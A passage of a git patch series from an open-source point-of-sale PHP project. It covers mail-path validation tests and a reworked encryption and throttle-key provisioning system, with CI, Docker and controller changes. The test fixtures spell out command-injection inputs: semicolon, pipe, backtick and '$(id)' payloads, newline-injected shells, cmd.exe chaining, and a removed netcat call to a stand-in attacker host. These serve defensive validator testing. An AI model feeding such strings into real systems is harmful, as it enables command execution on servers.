['/usr/bin/php', true], + 'path with dash and underscore' => ['/opt/my-mail_bin/sendmail.exe', true], + 'path with trailing args' => ['/usr/sbin/sendmail -t -i', true], + 'windows path' => ['C:\wamp64\bin\sendmail\sendmail.exe', true], + 'windows path with trailing args' => ['C:\wamp64\bin\sendmail\sendmail.exe -t -i', true], 'empty string' => ['', false], - 'trailing newline bypass payload' => ["/usr/bin/php\n", false], + 'trailing newline bypass payload' => ["/usr/bin/php\n", false], 'trailing newline plus injected command' => ["/usr/bin/php\nid", false], - 'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false], - 'semicolon injection' => ['/usr/bin/php;id', false], - 'pipe injection' => ['/usr/bin/php|id', false], - 'space separated args' => ['/usr/bin/php -r "phpinfo();"', false], + 'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false], + 'semicolon injection' => ['/usr/bin/php;id', false], + 'pipe injection' => ['/usr/bin/php|id', false], + 'ampersand injection' => ['/usr/bin/php & id', false], + 'backtick injection' => ['/usr/bin/php `id`', false], + 'dollar subshell injection' => ['/usr/bin/php $(id)', false], + 'quoted args' => ['/usr/bin/php -r "phpinfo();"', false], + 'redirect injection' => ['/usr/bin/php > /tmp/out', false], + 'cmd.exe env var expansion' => ['C:\path\sendmail.exe %COMSPEC%', false], + 'cmd.exe escape char' => ['C:\path\sendmail.exe ^& calc', false], + 'cmd.exe command chaining' => ['C:\path\sendmail.exe && calc', false], ]; } diff --git a/tests/Controllers/ConfigTest.php b/tests/Controllers/ConfigTest.php index 1302e72dd..486a64b76 100644 --- a/tests/Controllers/ConfigTest.php +++ b/tests/Controllers/ConfigTest.php @@ -117,63 +117,7 @@ class ConfigTest extends CIUnitTestCase $this->assertStringContainsString('invalid', strtolower($result['message'])); } - public function testMailpath_RejectsCommandInjection_Pipe(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_And(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail && whoami' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Backtick(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/`whoami`' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Subshell(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail$(id)' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_SpaceInPath(): void + public function testMailpath_AcceptsSendmailPathWithTrailingArgs(): void { $this->resetSession(); @@ -184,35 +128,7 @@ class ConfigTest extends CIUnitTestCase $response->assertStatus(200); $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Newline(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => "/usr/sbin/sendmail\n/bin/bash" - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_DollarSign(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/$SENDMAIL' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); + $this->assertTrue($result['success']); } // ========== postSaveLocale: payment_reference_code_min / max ========== From 184918d914e154853130914c0fef95b16729694b Mon Sep 17 00:00:00 2001 From: objecttothis <17935339+objecttothis@users.noreply.github.com> Date: Mon, 21 Sep 2026 19:35:45 +0400 Subject: [PATCH 03/31] fix(security): handle special characters in `.env` key values and improve insertion logic (#4656) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(security): handle special characters in `.env` key values and improve insertion logic - Escape backslashes and dollar signs in `applyEnvKeyReplacement` to prevent unintended value corruption. - Ensure new keys are inserted after `encryption.key` for better organization and manageability. - Add explicit cast to int to prevent wrong concatenation operator warning. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): handle null return in `applyEnvKeyReplacement` and ensure proper `.env` updates - Update `applyEnvKeyReplacement` to return `null` on failure, improving error handling. - Adjust calls to `atomicWriteFile` with updated content to prevent unintended behavior. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): improve error logging and exception messages in file locking - Add detailed logging for file open and locking errors in `security_helper`. - Remove unused `helper` and `checkThrottleEncryption` calls from `Events` for cleanup. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): improve atomic file write and handle encryption key placement - Throw `RandomException` for better error reporting in `atomicWriteFile`. - Simplify Windows-specific `rename()` fallback logic. - Fix `encryption.key` assignment order to ensure consistency in `.env` updates. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): improve `.env` file handling and add unit tests for helper functions - Suppress warnings in `file_get_contents` to prevent unnecessary error logs. - Update `applyEnvKeyReplacement` to use `preg_replace_callback` for better safety. - Add comprehensive unit tests for `security_helper` functions to ensure `.env` updates and key management work as expected. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): enhance `.env` update logic and add robust exception handling - Add `RandomException` to improve error reporting in encryption key management. - Introduce environment file locking for safer `.env` updates. - Ensure `applyEnvKeyReplacement` properly handles and inserts old key comments. - Replace direct file writes with `atomicWriteFile` for consistency. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): refactor `.env` file initialization and encryption key handling - Introduce `initializeEnvFile` for reusable `.env` setup logic. - Add `backupEnvFile` and `writeNewEncryptionKey` for robust key management with backups. - Simplify and clean up redundant `.env` handling code paths. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): clarify `checkEncryption` docblock return value description Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(security): escape backslashes and dollar signs in `applyEnvKeyReplacement` - Ensure `applyEnvKeyReplacement` properly escapes special characters when inserting or appending `.env` keys. - Add new unit tests to validate correct handling of backslashes and dollar signs. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * fix(i18n): add localized error messages and improve error reporting in `security_helper` - Add missing translations for error messages across multiple language files. - Update `security_helper` to use localized exception messages with placeholders. Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> * Redesign encryption/throttle key provisioning as read-only runtime - checkEncryption()/checkThrottleEncryption() are now read-only guards that throw when no valid key is provisioned, instead of writing .env at request time. - Add rotateEncryptionKey() and provisionThrottleKey() for explicit, idempotent provisioning. - Add php spark env:provision (app/Commands/EnvProvision.php) so Docker can provision keys once at container startup before any request. - Add app/Libraries/CI3SecretConverter.php shared CI3->CI4 secret converter (AES-128-CBC decrypt + CI4 re-encrypt/verify/save) used by both the interactive migration and the docker startup path. - Refactor convertToCI4 migration to use the shared converter. - Persist .env in a named volume and run spark env:provision on boot; stop baking .env into the shipped image. - Add guard/rotation/throttle + converter tests; clean up orphaned msg_pwd_required language keys across all locales. * fix: save CI4 ciphertext in env:provision and bind-mount a .env file Addresses CodeRabbit review on PR #4656: - env:provision CI3 branch was persisting *plaintext* secrets (saveAll($plain)) instead of the CI4 ciphertext, unlike the ConvertToCI4 migration. Now encrypts with encryptAll(), verifies the round trip, and saves the ciphertext. - The ospos_env named volume mounted at /app/.env made .env a directory, so atomicWriteFile's rename() failed and spark env:provision could not start apache. Switch to a bind mount of a host file (./.env) which persists and stays a file. - Add a regression test asserting the command persists ciphertext (not plaintext). * chore: trim redundant docblocks in EnvProvision and provision throttle.key in CI Follow up on @objecttothis review comments: - app/Commands/EnvProvision.php: remove the boilerplate docblocks the property names already convey (group/name/usage/description, run()), the two inline step comments, the anyNonEmpty() param docblock, and the legacySecretsPresent() docblock. Keeps the class-level docblock since it is the only place that states the read-only runtime design + the never-persist-plaintext invariant. - .github/workflows/phpunit.yml: provision a per-run throttle.key the same way the encryption key is already provisioned. The PR makes checkThrottleEncryption() a read-only guard that throws when env('throttle.key') is unset; CI only started exporting ENCRYPTION_KEY, so every test that goes through the Throttle filter (7 ThrottleTest cases + 4 LoginTest cases) failed with "No throttle key is provisioned. Run `php spark env:provision`". Writing `throttle.key=` into .env matches what `php spark env:provision` does on a real container start. * fix(ci): write throttle.key into .env instead of exporting an OS env var The previous attempt exported throttle.key via GITHUB_ENV, but CodeIgniter's env() helper resolves in the order $_ENV[$key] ?? $_SERVER[$key] ?? getenv($key), and DotEnv populates $_ENV['throttle.key'] from the .env file first. Because the .env (copied from .env.example) ships with the empty placeholder throttle.key='', that $_ENV entry exists as '' and short-circuits the ?? chain before getenv() is reached — so the OS env var was never consulted and every Throttle/Login test still threw 'No throttle key is provisioned'. Write the per-run key into the .env file itself (sed-replacing the empty placeholder), which is exactly what `php spark env:provision` does in production and is the single source env() actually reads from. Verify the replacement happened (grep -Eq '^throttle\.key=.') so a future change to the placeholder format fails the run loudly instead of silently breaking the 11 throttle-dependent tests. * fix(security): restore CI3->CI4 auto-provisioning gated by .env writability checkEncryption()/checkThrottleEncryption() again provision the keys inline when .env is writable (empty key -> generate; short key -> decrypt, rotate, re-encrypt, verify, persist legacy CI3 secrets). When .env is not writable they assume the key was provisioned externally (e.g. docker env:provision) and throw. Update helper tests to match and correct the EnvProvision docblock that claimed the runtime was strictly read-only. * test(security): make short-key conversion branch injectable and test it checkEncryption() now accepts an optional CI3SecretConverter so the CI3->CI4 conversion branch can be exercised in unit tests without a database. Adds testCheckEncryptionConvertsCi3ShortKeyWhenEnvWritable which seeds CI3-era ciphertexts via a fake Appconfig model and asserts the key is rotated and the payload verifies back to the original plaintext. * fix(security): abort on backup/read/saveAll failure to avoid data loss Three related data-integrity fixes: - backupEnvFile() now returns true/false based on whether the backup actually exists and is readable. rotateEncryptionKey() aborts before destroying the key when the backup could not be written to disk. - rotateEncryptionKey() and provisionThrottleKey() throw RuntimeException(Error.unable_to_read_env_file) when the .env read fails, instead of silently replacing the whole file with an empty string. This prevents a permission error from wiping all keys. - checkEncryption() and EnvProvision::run() now both roll back to the backup with abortEncryptionConversion() when the post-rotation saveAll() throws, matching the migration path (which already did this). A failing fake Appconfig is used to exercise this in the new testCheckEncryptionRollsBackWhenSaveAllFails test. * fix(ci): skip comment job in deploy-pr.yml when prepare was not run The comment job had if: always(), so it ran even when the prepare job was skipped (e.g. review was not approved). With PR_NUMBER empty the gh api call posted to issues//comments, received a 404, and the entire run showed up as failure. Guard the job with needs.prepare.result == 'success' so it only runs when PR_NUMBER is valid. * address coderabbit open items: placeholder guards, message neutrality, ar-EG alignment - backupEnvFile(): fail when mkdir() or either chmod() fails, so the pre-rotation backup is actually persisted before the key is replaced - email/message config views: only show the 'already set' placeholder when the secret is actually present (prevented false positives on fresh installs) - Error.unable_to_create_env_file / .unable_to_read_env_file (en + en-GB): use key-neutral wording since both keys are provisioned with the same keys - ar-EG/Error.php: align all => arrows on the longest key Item 7 (filesystem test isolation) is a larger refactor — the tests are serial on CI and tearDown() restores state per test. Left for follow-up. * test(security): isolate helper FS tests via Config\SecurityEnv Introduce Config\SecurityEnv holding envPath/backupPath/lockPath so the security helper reads its target paths from shared configuration instead of hardcoded ROOTPATH/WRITEPATH literals. security_helperTest.php now redirects all three to a unique per-run sandbox under sys_get_temp_dir() and tears it down in tearDown(), so the suite no longer reads/writes the repository's real .env and is safe to run in parallel. No helper signature changes; production callers unaffected. Addresses CodeRabbit item 7 (issue #4700). Co-Authored-By: opencode * fix(security): run key-conversion as one locked transaction Address CodeRabbit Major findings from the 4th re-review of the env helper and its callers: 1. Hold .env.lock for the entire CI3 -> CI4 conversion transaction (backup -> rotate -> re-encrypt -> verify -> persist -> cleanup) so a concurrent worker cannot interleave a key write between the rotation and the ciphertext save. Split rotateEncryptionKey into a lock-free core (rotateEncryptionKeyUnlock) plus the existing lock wrapper and a new rotateEncryptionKeyTransaction that owns the lock across the full unit and performs both the in-lock rollback (abortEncryptionConversion) and the in-lock backup removal on success. 2. Treat the legacy value '0' as non-empty data so key rotation still persists the re-encrypted ciphertext when '0' is the only stored secret (array_filter would have dropped it and skipped saveAll). 3. Wrap the post-rotation re-encrypt/verify/saveAll sequence in a catch (Throwable) across all three call-sites so CI4 EncryptionException, ReflectionException from batch_save, a failed round-trip verify, and any other failure all roll the .env key back to the pre-rotation state. 4. In Docker Compose, use long-syntax bind with create_host_path: false and document in INSTALL.md that the host .env must be a regular file (a missing one is no longer auto-created as a directory, and the mount now rejects a missing source on Compose implementations that support the flag). Files touched: app/Helpers/security_helper.php, app/Commands/EnvProvision.php, app/Database/Migrations/20220127000000_convertToCI4.php, docker-compose.yml, INSTALL.md. All 4 existing helper tests still pass via CI. * fix(security): make abortEncryptionConversion fail loudly on restore failure The rollback path restored the .env backup with a suppressed file_put_contents() and an unchecked file_get_contents(). If the restore failed after the key had already been rotated, .env was left holding the new CI4 key while the DB still held CI3-era ciphertext, so the data became undecryptable after the next restart. Now the backup read is checked for false and the restore goes through the existing atomicWriteFile() helper; either failure throws so the error is surfaced instead of silently corrupting the config. Adds a regression test that forces an unreadable backup and asserts the throw plus that .env is left untouched. * fix(security): guard abortEncryptionConversion backup read before touching it Validate the backup is a regular readable file (is_file/is_readable) before reading it, so a missing/malformed backup fails loudly instead of emitting a file_get_contents() warning. The unreadable-backup regression test now exercises this guard rather than relying on a promoted warning. --------- Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> Co-authored-by: jekkos Co-authored-by: jekkos Co-authored-by: opencode --- .dockerignore | 3 +- .env.example | 3 + .github/workflows/deploy-pr.yml | 2 +- .github/workflows/phpunit.yml | 16 + AGENTS.md | 1 + INSTALL.md | 10 +- app/Commands/EnvProvision.php | 126 ++++ app/Config/Events.php | 3 - app/Config/SecurityEnv.php | 37 ++ app/Controllers/Config.php | 56 +- .../20220127000000_convertToCI4.php | 132 ++-- app/Helpers/security_helper.php | 497 +++++++++++--- app/Language/ar-EG/Config.php | 1 - app/Language/ar-EG/Error.php | 12 +- app/Language/ar-LB/Config.php | 1 - app/Language/ar-LB/Error.php | 12 +- app/Language/az/Config.php | 1 - app/Language/az/Error.php | 12 +- app/Language/bg/Config.php | 1 - app/Language/bg/Error.php | 12 +- app/Language/bs/Config.php | 1 - app/Language/bs/Error.php | 12 +- app/Language/ckb/Config.php | 1 - app/Language/ckb/Error.php | 12 +- app/Language/cs/Config.php | 1 - app/Language/cs/Error.php | 12 +- app/Language/da/Config.php | 1 - app/Language/da/Error.php | 12 +- app/Language/de-CH/Config.php | 1 - app/Language/de-CH/Error.php | 12 +- app/Language/de-DE/Config.php | 1 - app/Language/de-DE/Error.php | 12 +- app/Language/el/Config.php | 1 - app/Language/el/Error.php | 12 +- app/Language/en-GB/Config.php | 1 - app/Language/en-GB/Error.php | 12 +- app/Language/en/Config.php | 4 +- app/Language/en/Error.php | 12 +- app/Language/es-ES/Config.php | 1 - app/Language/es-ES/Error.php | 12 +- app/Language/es-MX/Config.php | 1 - app/Language/es-MX/Error.php | 12 +- app/Language/fa/Config.php | 1 - app/Language/fa/Error.php | 12 +- app/Language/fr/Config.php | 1 - app/Language/fr/Error.php | 12 +- app/Language/he/Config.php | 1 - app/Language/he/Error.php | 12 +- app/Language/hr-HR/Config.php | 1 - app/Language/hr-HR/Error.php | 12 +- app/Language/hu/Config.php | 1 - app/Language/hu/Error.php | 12 +- app/Language/hy/Config.php | 1 - app/Language/hy/Error.php | 12 +- app/Language/id/Config.php | 1 - app/Language/id/Error.php | 12 +- app/Language/it/Config.php | 1 - app/Language/it/Error.php | 12 +- app/Language/ka/Config.php | 1 - app/Language/km/Config.php | 1 - app/Language/km/Error.php | 12 +- app/Language/lo/Config.php | 1 - app/Language/lo/Error.php | 12 +- app/Language/ml/Config.php | 1 - app/Language/ml/Error.php | 12 +- app/Language/nb/Config.php | 1 - app/Language/nb/Error.php | 12 +- app/Language/nl-BE/Config.php | 1 - app/Language/nl-BE/Error.php | 12 +- app/Language/nl-NL/Config.php | 1 - app/Language/nl-NL/Error.php | 12 +- app/Language/pl/Config.php | 1 - app/Language/pl/Error.php | 12 +- app/Language/pt-BR/Config.php | 1 - app/Language/pt-BR/Error.php | 12 +- app/Language/ro/Config.php | 1 - app/Language/ro/Error.php | 12 +- app/Language/ru/Config.php | 1 - app/Language/ru/Error.php | 12 +- app/Language/sv/Config.php | 1 - app/Language/sv/Error.php | 12 +- app/Language/sw-KE/Config.php | 1 - app/Language/sw-KE/Error.php | 14 +- app/Language/sw-TZ/Config.php | 1 - app/Language/sw-TZ/Error.php | 14 +- app/Language/ta/Config.php | 1 - app/Language/ta/Error.php | 12 +- app/Language/th/Config.php | 1 - app/Language/th/Error.php | 12 +- app/Language/tl/Config.php | 1 - app/Language/tl/Error.php | 12 +- app/Language/tr/Config.php | 1 - app/Language/tr/Error.php | 12 +- app/Language/uk/Config.php | 1 - app/Language/uk/Error.php | 12 +- app/Language/ur/Config.php | 1 - app/Language/ur/Error.php | 12 +- app/Language/vi/Config.php | 1 - app/Language/vi/Error.php | 12 +- app/Language/zh-Hans/Config.php | 1 - app/Language/zh-Hans/Error.php | 12 +- app/Language/zh-Hant/Config.php | 1 - app/Language/zh-Hant/Error.php | 12 +- app/Libraries/CI3SecretConverter.php | 173 +++++ app/Views/configs/email_config.php | 16 +- app/Views/configs/integrations_config.php | 13 +- app/Views/configs/message_config.php | 17 +- docker-compose.yml | 12 + tests/helpers/security_helperTest.php | 607 ++++++++++++++++++ tests/libraries/CI3SecretConverterTest.php | 203 ++++++ 110 files changed, 2129 insertions(+), 391 deletions(-) create mode 100644 app/Commands/EnvProvision.php create mode 100644 app/Config/SecurityEnv.php create mode 100644 app/Libraries/CI3SecretConverter.php create mode 100644 tests/helpers/security_helperTest.php create mode 100644 tests/libraries/CI3SecretConverterTest.php diff --git a/.dockerignore b/.dockerignore index e0c9a46d6..92bd5419d 100644 --- a/.dockerignore +++ b/.dockerignore @@ -40,7 +40,8 @@ composer.lock package.json package-lock.json gulpfile.js -.env.example +.env +.env.* .dockerignore # Temporary and backup files diff --git a/.env.example b/.env.example index 4a58682f9..ad13b7c1e 100644 --- a/.env.example +++ b/.env.example @@ -60,6 +60,9 @@ database.tests.DBPrefix='ospos_' # ENCRYPTION_KEY is read as a fallback when encryption.key is empty, so no # shared key needs to be committed or baked into the shipped image. encryption.key='' +# Persistent secret for HMAC-hashing login-throttle cache keys. Left blank and +# provisioned on startup (php spark env:provision); independent of encryption.key. +throttle.key='' #-------------------------------------------------------------------- # LOGGER diff --git a/.github/workflows/deploy-pr.yml b/.github/workflows/deploy-pr.yml index d13e40c47..ec9751698 100644 --- a/.github/workflows/deploy-pr.yml +++ b/.github/workflows/deploy-pr.yml @@ -54,7 +54,7 @@ jobs: comment: name: Comment deployment status needs: [prepare, deploy] - if: always() + if: always() && needs.prepare.result == 'success' runs-on: ubuntu-latest env: GH_TOKEN: ${{ github.token }} diff --git a/.github/workflows/phpunit.yml b/.github/workflows/phpunit.yml index dd20ae4dc..b4c69e499 100644 --- a/.github/workflows/phpunit.yml +++ b/.github/workflows/phpunit.yml @@ -118,6 +118,22 @@ jobs: KEY=$(openssl rand -hex 32) printf 'ENCRYPTION_KEY=%s\n' "$KEY" >> "$GITHUB_ENV" + - name: Provision per-run throttle key + # checkThrottleEncryption() is a read-only guard that throws unless a + # throttle.key is present (app/Helpers/security_helper.php). It is + # normally minted at container startup via `php spark env:provision`, + # so the test environment must provide one. + # + # We write it into the .env file (replacing the empty placeholder + # copied from .env.example) rather than exporting an OS env var: + # CodeIgniter's env() resolves $_ENV first, and DotEnv populates + # $_ENV['throttle.key']='' from .env, which would shadow any OS var + # before getenv() is ever consulted. + run: | + KEY=$(openssl rand -hex 32) + sed -i "s/^throttle\.key=''/throttle.key='$KEY'/" .env + grep -Eq "^throttle\.key=.+" .env + - name: Run PHPUnit tests env: CI_ENVIRONMENT: testing diff --git a/AGENTS.md b/AGENTS.md index 1cb85299a..52163b0d1 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -50,6 +50,7 @@ This document provides guidance for AI agents working on the Open Source Point o - **When explicitly asked to translate a phrase for a non-English language file, always provide the actual translation** — never leave the value as an empty string, and never leave source English text in a non-English language file - Never copy English text from a neighboring key as a value for a non-English language file, even if that neighboring key is already untranslated — evaluate each key independently - Only `app/Language/en/` and `app/Language/en-GB/` should contain English strings +- When translating a string containing placeholders (e.g. `{filePath}`, `{reason}`) or literal filenames/keys (e.g. `throttle.key`, `.env`), keep that placeholder or filename text unchanged and untranslated — move it to whatever position is grammatically correct in the translated sentence - Plugin language files (`app/Plugins/*/Language/`) follow the same localization rules as `app/Language/` - Use `'` to encapsulate key and string values. If the value contains `'` then it should be escaped as `\'` - Align the `=>` of a newly inserted key with the `=>` column already used by the rest of the file, if that file pads keys to a fixed column (not all do — some files have no padding at all). If the new key is longer than the widest existing key and would push the alignment column further right, reformat the whole file to the new wider column rather than leaving only the new line at a different width diff --git a/INSTALL.md b/INSTALL.md index 24b7a9503..eb75cc034 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -71,7 +71,15 @@ Docker runs natively on Mac and Linux. Windows requires WSL2 to be installed. Pl **Be aware that this setup is not suited for production usage! Change the default passwords in the compose file before exposing the containers publicly.** -Start the containers using the following command +First create a **regular `.env` file** in the project root (a missing one is not +auto-created as a file — see the compose `create_host_path: false` setting). Copy +the shipped example: + +``` + cp .env.example .env +``` + +Then start the containers: ``` docker-compose up diff --git a/app/Commands/EnvProvision.php b/app/Commands/EnvProvision.php new file mode 100644 index 000000000..987b1d552 --- /dev/null +++ b/app/Commands/EnvProvision.php @@ -0,0 +1,126 @@ +key ?? ''); + + if ($key !== '' && strlen($key) >= 64) { + CLI::write('encryption.key : CI4 key already present', 'green'); + CLI::newLine(); + + return; + } + + $converter = new CI3SecretConverter(); + + if ($key !== '' && strlen($key) < 64) { + // DB read, safe outside the .env lock. + $plain = $converter->decryptAll($key); + $hasData = $this->anyNonEmpty($plain); + + // Backup -> rotate -> re-encrypt -> verify -> persist under a single .env lock. + rotateEncryptionKeyTransaction($key, static function () use ($plain, $hasData, $converter): void { + $encrypted = $converter->encryptAll($plain); + + if (array_diff_assoc($plain, $converter->verifyAll($encrypted)) !== []) { + throw new RuntimeException('Failed to verify converted encryption data.'); + } + + if ($hasData) { + $converter->saveAll($encrypted); + } + }); + + CLI::write('encryption.key : rotated CI3 -> CI4 key', 'green'); + if ($hasData) { + CLI::write('legacy secrets : converted and verified to CI4 cipher', 'green'); + } + } else { + // Fresh key (no old key to decrypt): a single atomic write suffices; + // the transaction wrapper still serialises it against other workers. + rotateEncryptionKeyTransaction(null, static function (): void {}); + + CLI::write('encryption.key : new CI4 key generated', 'green'); + + if ($this->legacySecretsPresent()) { + CLI::write('legacy secrets : WARNING - stored CI3 secrets found but no CI3 key to decrypt them; they could not be recovered', 'yellow'); + } + } + + CLI::newLine(); + CLI::write('env:provision complete.', 'green'); + CLI::newLine(); + } + + private function anyNonEmpty(array $plain): bool + { + foreach ($plain as $value) { + if ((string) $value !== '') { + return true; + } + } + + return false; + } + + private function legacySecretsPresent(): bool + { + try { + $appConfig = model('Appconfig'); + } catch (Exception $e) { + return false; + } + + foreach (CI3SecretConverter::LEGACY_KEYS as $col) { + try { + if ($appConfig->get_value($col) !== '') { + return true; + } + } catch (Exception $e) { + return false; + } + } + + return false; + } +} diff --git a/app/Config/Events.php b/app/Config/Events.php index 3a34f1cd5..d4c5a8792 100644 --- a/app/Config/Events.php +++ b/app/Config/Events.php @@ -28,9 +28,6 @@ use App\Events\Method; Events::on('pre_system', static function (): void { if (ENVIRONMENT !== 'testing') { - helper('security'); - checkThrottleEncryption(); - $value = ini_get('zlib.output_compression'); if (filter_var($value, FILTER_VALIDATE_BOOLEAN) || (int) $value > 0) { throw FrameworkException::forEnabledZlibOutputCompression(); diff --git a/app/Config/SecurityEnv.php b/app/Config/SecurityEnv.php new file mode 100644 index 000000000..89c974e4b --- /dev/null +++ b/app/Config/SecurityEnv.php @@ -0,0 +1,37 @@ +config['image_allowed_types']); // Integrations Related fields - $data['mailchimp'] = []; + $data['mailchimp'] = []; + $data['smtp_pass_set'] = !empty($this->config['smtp_pass']); + $data['msg_pwd_set'] = !empty($this->config['msg_pwd']); if (checkEncryption()) { // TODO: Hungarian notation if (!isset($this->encrypter)) { @@ -274,9 +276,8 @@ class Config extends Secure_Controller $this->encrypter = Services::encrypter(); } - $data['mailchimp']['api_key'] = (isset($this->config['mailchimp_api_key']) && !empty($this->config['mailchimp_api_key'])) - ? $this->encrypter->decrypt($this->config['mailchimp_api_key']) - : ''; + $data['mailchimp']['api_key'] = ''; + $data['mailchimp']['api_key_set'] = !empty($this->config['mailchimp_api_key']); $data['mailchimp']['list_id'] = (isset($this->config['mailchimp_list_id']) && !empty($this->config['mailchimp_list_id'])) ? $this->encrypter->decrypt($this->config['mailchimp_list_id']) @@ -285,8 +286,9 @@ class Config extends Secure_Controller // Remove any backup of .env created by check_encryption() removeBackup(); } else { - $data['mailchimp']['api_key'] = ''; - $data['mailchimp']['list_id'] = ''; + $data['mailchimp']['api_key'] = ''; + $data['mailchimp']['api_key_set'] = false; + $data['mailchimp']['list_id'] = ''; } $data['mailchimp']['lists'] = $this->_mailchimp(); @@ -543,10 +545,12 @@ class Config extends Secure_Controller */ public function postSaveEmail(): ResponseInterface { - $password = ''; + $postedPass = (string) $this->request->getPost('smtp_pass'); - if (checkEncryption() && !empty($this->request->getPost('smtp_pass'))) { - $password = $this->encrypter->encrypt($this->request->getPost('smtp_pass')); + if (checkEncryption() && $postedPass !== '') { + $password = $this->encrypter->encrypt($postedPass); + } else { + $password = (string) ($this->config['smtp_pass'] ?? ''); } $protocol = $this->request->getPost('protocol'); @@ -594,10 +598,12 @@ class Config extends Secure_Controller */ public function postSaveMessage(): ResponseInterface { - $password = ''; + $postedPwd = (string) $this->request->getPost('msg_pwd'); - if (checkEncryption() && !empty($this->request->getPost('msg_pwd'))) { - $password = $this->encrypter->encrypt($this->request->getPost('msg_pwd')); + if (checkEncryption() && $postedPwd !== '') { + $password = $this->encrypter->encrypt($postedPwd); + } else { + $password = (string) ($this->config['msg_pwd'] ?? ''); } $batch_save_data = [ @@ -660,19 +666,25 @@ class Config extends Secure_Controller */ public function postSaveMailchimp(): ResponseInterface { - $api_key = ''; - $list_id = ''; + $postedKey = (string) $this->request->getPost('mailchimp_api_key'); + $postedList = (string) $this->request->getPost('mailchimp_list_id'); if (checkEncryption()) { - $api_key_unencrypted = $this->request->getPost('mailchimp_api_key'); - if (!empty($api_key_unencrypted)) { - $api_key = $this->encrypter->encrypt($api_key_unencrypted); - } + $api_key = $postedKey !== '' + ? $this->encrypter->encrypt($postedKey) + : (string) ($this->config['mailchimp_api_key'] ?? ''); - $list_id_unencrypted = $this->request->getPost('mailchimp_list_id'); - if (!empty($list_id_unencrypted)) { - $list_id = $this->encrypter->encrypt($list_id_unencrypted); - } + $list_id = $postedList !== '' + ? $this->encrypter->encrypt($postedList) + : (string) ($this->config['mailchimp_list_id'] ?? ''); + } else { + $api_key = $postedKey !== '' + ? (string) $postedKey + : (string) ($this->config['mailchimp_api_key'] ?? ''); + + $list_id = $postedList !== '' + ? (string) $postedList + : (string) ($this->config['mailchimp_list_id'] ?? ''); } $batch_save_data = ['mailchimp_api_key' => $api_key, 'mailchimp_list_id' => $list_id]; diff --git a/app/Database/Migrations/20220127000000_convertToCI4.php b/app/Database/Migrations/20220127000000_convertToCI4.php index c600cdb4d..1f005cfe1 100644 --- a/app/Database/Migrations/20220127000000_convertToCI4.php +++ b/app/Database/Migrations/20220127000000_convertToCI4.php @@ -2,14 +2,11 @@ namespace App\Database\Migrations; -use App\Models\Appconfig; +use App\Libraries\CI3SecretConverter; use CodeIgniter\Database\Exceptions\DatabaseException; use CodeIgniter\Database\Forge; use CodeIgniter\Database\Migration; use CodeIgniter\HTTP\Exceptions\RedirectException; -use Config\Encryption; -use Config\Services; -use ReflectionException; class ConvertToCI4 extends Migration { @@ -33,18 +30,21 @@ class ConvertToCI4 extends Migration throw new DatabaseException('Migration script 3.4.0_CI4Conversion.sql failed. Check logs for details.'); } - $existingKey = config('Encryption')->key; + $existingKey = (string) config('Encryption')->key; - if (!empty($existingKey) && strlen($existingKey) < 64) { - $this->convertCI3EncryptedData(); + if ($existingKey !== '' && strlen($existingKey) < 64) { + // Old CI3-era key: decrypt, rotate, re-encrypt, persist — all under + // a single .env lock (see convertCI3EncryptedData). + $this->convertCI3EncryptedData($existingKey); + } elseif ($existingKey === '') { + // No key at all: provision a fresh one (single atomic write), then + // drop the incidental pre-write backup left behind by the rotation. + rotateEncryptionKey(null); + removeBackup(); } else { - if (!checkEncryption()) { - abortEncryptionConversion(); - throw new DatabaseException('Failed to persist encryption key. Check logs for details.'); - } + // Key already present and a valid CI4 key: confirm it is usable. + checkEncryption(); } - - removeBackup(); } /** @@ -53,95 +53,35 @@ class ConvertToCI4 extends Migration public function down(): void {} /** - * @throws ReflectionException - */ - private function convertCI3EncryptedData(): void - { - $appConfig = model(Appconfig::class); - - $ci3EncryptedData = [ - 